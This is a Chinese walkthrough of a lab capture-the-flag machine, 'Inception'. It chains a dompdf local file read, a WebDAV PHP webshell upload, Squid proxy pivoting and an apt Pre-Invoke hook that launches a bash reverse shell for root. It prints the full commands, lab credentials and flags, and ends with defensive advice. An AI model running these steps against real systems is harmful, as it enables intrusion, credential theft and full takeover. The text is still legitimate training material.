[Meachines] [Medium] Inception DOM-PDF LFI+davtest+Squid未授权访问+ Apt Pre-Invoke权限提升
字数 1004 2025-08-29 08:29:42

Inception靶机渗透测试教学文档

1. 信息收集阶段

1.1 目标识别

  • 目标IP: 10.10.10.67
  • 开放端口:
    • 80/tcp: Apache httpd 2.4.18 (Ubuntu)
    • 3128/tcp: Squid http proxy 3.5.12

1.2 扫描技术

使用以下命令进行端口扫描和服务识别:

ip='10.10.10.67'; itf='tun0'
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
  echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"
  ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
  if [ -n "$ports" ]; then
    echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"
    nmap -Pn -sV -sC -p "$ports" "$ip"
  else
    echo -e "\e[31m[!] No open ports found on $ip.\e[0m"
  fi
else
  echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"
fi

2. Web应用渗透

2.1 DOM-PDF LFI漏洞利用

发现dompdf组件存在本地文件包含(LFI)漏洞:

# 发现dompdf路径
feroxbuster -u 'http://10.10.10.67/'
http://10.10.10.67/dompdf/README.md
http://10.10.10.67/dompdf/VERSION

# 利用LFI读取文件
curl 'http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/passwd'

# 读取Apache配置文件
curl -s 'http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/apache2/sites-enabled/000-default.conf' | grep -oE '[A-Za-z0-9+/=]{20,}' | tr -d '\n' | base64 -d

# 读取WebDAV密码文件
curl -s 'http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/var/www/html/webdav_test_inception/webdav.passwd' | grep -oE '[A-Za-z0-9+/=]{20,}' | tr -d '\n' | base64 -d

获取到WebDAV凭据:

  • 用户名: webdav_tester
  • 密码: babygurl69

2.2 WebDAV利用

使用davtest测试WebDAV功能并上传webshell:

# 测试WebDAV
davtest -url http://10.10.10.67/webdav_test_inception -auth webdav_tester:babygurl69

# 创建PHP webshell
echo '<?php system($_GET[cmd]); ?>' > rev.php

# 上传webshell
curl -X PUT http://webdav_tester:babygurl69@10.10.10.67/webdav_test_inception/rev.php -d @rev.php

2.3 交互式Webshell

创建交互式shell脚本:

#!/bin/bash
URL='http://webdav_tester:babygurl69@10.10.10.67/webdav_test_inception/rev.php?cmd='
while true; do
  read -p "webdav-shell> " cmd
  if [[ "$cmd" == "exit" ]]; then
    echo "[+] Exiting shell..."
    break
  fi
  encoded_cmd=$(echo -n "$cmd" | jq -sRr @uri)
  curl -s "${URL}${encoded_cmd}"
done

3. 权限提升

3.1 获取数据库凭据

通过webshell读取WordPress配置文件:

cat /var/www/html/wordpress_4.8.3/wp-config.php

获取到:

  • 用户名: root
  • 密码: VwPddNh7xMZyDQoByQL4

3.2 Squid代理利用

使用Squid代理进行SSH连接:

proxychains -f ./proxychains.conf ssh cobb@127.0.0.1

获取user flag:

a5b6db2fa5bfe8a677c41ec3b01b2ba6

3.3 横向移动

使用动态端口转发:

proxychains -f ./proxychains.conf ssh -D 1080 cobb@127.0.0.1

通过新代理传输工具:

proxychains -f ./proxychains1080.conf scp pspy64 cobb@127.0.0.1:/tmp/pspy64
proxychains -f ./proxychains1080.conf scp linpeas.sh cobb@127.0.0.1:/tmp/linpeas.sh

4. 容器逃逸与宿主权限提升

4.1 C段扫描

从容器内扫描宿主网络:

nc -uzv 192.168.0.1 1-65535 2>&1 | grep -v refused

发现开放服务:

  • 21/tcp: FTP
  • 22/tcp: SSH
  • 53/tcp: DNS

4.2 利用APT Pre-Invoke机制

发现宿主每5分钟运行apt update:

*/5 * * * * root apt update 2>&1 >/var/log/apt/custom.log

利用TFTP上传利用文件:

# 创建APT配置文件
cat > /tmp/00exp <<EOF
APT::Update::Pre-Invoke {"/bin/bash /tmp/rev.sh"}
EOF

# 创建反向shell脚本
cat > /tmp/rev.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/192.168.0.10/9911 0>&1
EOF

# 上传文件
tftp 192.168.0.1
tftp> put /tmp/00exp /etc/apt/apt.conf.d/00exp
tftp> put /tmp/rev.sh /tmp/rev.sh

4.3 获取root权限

监听反向shell:

nc -lvnp 9911

获取root flag:

d208effa777aa4489c26d2772723190c

5. 关键点总结

  1. DOM-PDF LFI漏洞:通过php://filter协议读取敏感文件
  2. WebDAV利用:通过PUT方法上传webshell获取初始立足点
  3. Squid代理利用:通过代理访问内部服务,实现横向移动
  4. APT Pre-Invoke机制滥用:利用定时任务和APT配置实现容器逃逸和权限提升
  5. TFTP文件传输:在受限环境中上传利用文件

6. 防御建议

  1. 及时更新Web组件(如dompdf)到最新版本
  2. 禁用WebDAV不必要的HTTP方法(PUT/DELETE等)
  3. 配置Squid代理的访问控制
  4. 限制APT配置文件的写入权限
  5. 监控/etc/apt/apt.conf.d/目录的变更
  6. 使用容器隔离技术限制容器内对宿主机的访问
Inception靶机渗透测试教学文档 1. 信息收集阶段 1.1 目标识别 目标IP: 10.10.10.67 开放端口: 80/tcp: Apache httpd 2.4.18 (Ubuntu) 3128/tcp: Squid http proxy 3.5.12 1.2 扫描技术 使用以下命令进行端口扫描和服务识别: 2. Web应用渗透 2.1 DOM-PDF LFI漏洞利用 发现dompdf组件存在本地文件包含(LFI)漏洞: 获取到WebDAV凭据: 用户名: webdav_ tester 密码: babygurl69 2.2 WebDAV利用 使用davtest测试WebDAV功能并上传webshell: 2.3 交互式Webshell 创建交互式shell脚本: 3. 权限提升 3.1 获取数据库凭据 通过webshell读取WordPress配置文件: 获取到: 用户名: root 密码: VwPddNh7xMZyDQoByQL4 3.2 Squid代理利用 使用Squid代理进行SSH连接: 获取user flag: 3.3 横向移动 使用动态端口转发: 通过新代理传输工具: 4. 容器逃逸与宿主权限提升 4.1 C段扫描 从容器内扫描宿主网络: 发现开放服务: 21/tcp: FTP 22/tcp: SSH 53/tcp: DNS 4.2 利用APT Pre-Invoke机制 发现宿主每5分钟运行 apt update : 利用TFTP上传利用文件: 4.3 获取root权限 监听反向shell: 获取root flag: 5. 关键点总结 DOM-PDF LFI漏洞 :通过php://filter协议读取敏感文件 WebDAV利用 :通过PUT方法上传webshell获取初始立足点 Squid代理利用 :通过代理访问内部服务,实现横向移动 APT Pre-Invoke机制滥用 :利用定时任务和APT配置实现容器逃逸和权限提升 TFTP文件传输 :在受限环境中上传利用文件 6. 防御建议 及时更新Web组件(如dompdf)到最新版本 禁用WebDAV不必要的HTTP方法(PUT/DELETE等) 配置Squid代理的访问控制 限制APT配置文件的写入权限 监控/etc/apt/apt.conf.d/目录的变更 使用容器隔离技术限制容器内对宿主机的访问